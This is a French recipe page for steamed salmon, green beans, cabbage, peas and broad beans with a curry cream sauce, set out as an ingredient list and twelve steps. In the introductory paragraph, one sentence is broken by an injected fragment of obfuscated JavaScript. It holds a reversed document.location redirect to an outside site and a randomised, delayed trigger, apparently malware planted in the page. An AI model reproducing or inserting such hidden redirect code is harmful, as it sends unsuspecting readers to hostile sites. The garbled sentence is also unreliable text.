Saumon et légumes vapeur

2021-05-27

Enlevez les feuilles tachées de chou. Le couper en deux puis en fines lamelles.

Versez 2 litres d’eau froide, ajoutez une poignée de gros sel. Dans le compartiment d’un cuit vapeur, déposez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes dans le panier perforé. Faites cuire pendant 15 minutes environ. Sans faire bouillir

Ingrédients

  • Pour 6 personnes
  • 800 g de pavés de saumon sans peau
  • 250 g de haricots verts équeutés
  • 1 petit chou frisé
  • 250 g de petits pois écossés
  • 200 g de fèves écossées
  • 1 jus de citron
  • 2 cuillères à soupe de crème fleurette
  • 1 cuillère à soupe de pâte de curry
  • Quelques pincées de curry rouge

Préparation de la recette

Etape 1

Enlevez les feuilles tachées de chou.

Etape 2

Le couper en deux puis en fines lamelles.

Etape 3

Versez 2 litres d'eau froide, ajoutez une poignée de gros sel.

Etape 4

Dans le compartiment d'un cuit vapeur, déposez tous les légumes dans le panier perforé.

Etape 5

Faites cuire pendant 15 minutes environ.

Etape 6

Sans faire bouillir

Etape 7

Au bout de 5 minutes déposez le poisson salez, poivrez enveloppez dans un film alimentaire dans le second compartiment perforé en le plaçant de préférence au-dessus de l'eau, sous le panier de légumes.

Etape 8

Prolongez la cuisson de 10 minutes.

Etape 9

Dans un bol mélangez la pâte de curry avec 6 cuillères à soupe de bouillon de cuisson, la crème fleurette, et 2 cuillères à soupe d'huile d’arachide.

Etape 10

Poivrez.

Etape 11

Filmez et faites chauffez pendant 1 minute aux micro-ondes.

Etape 12

Servez.

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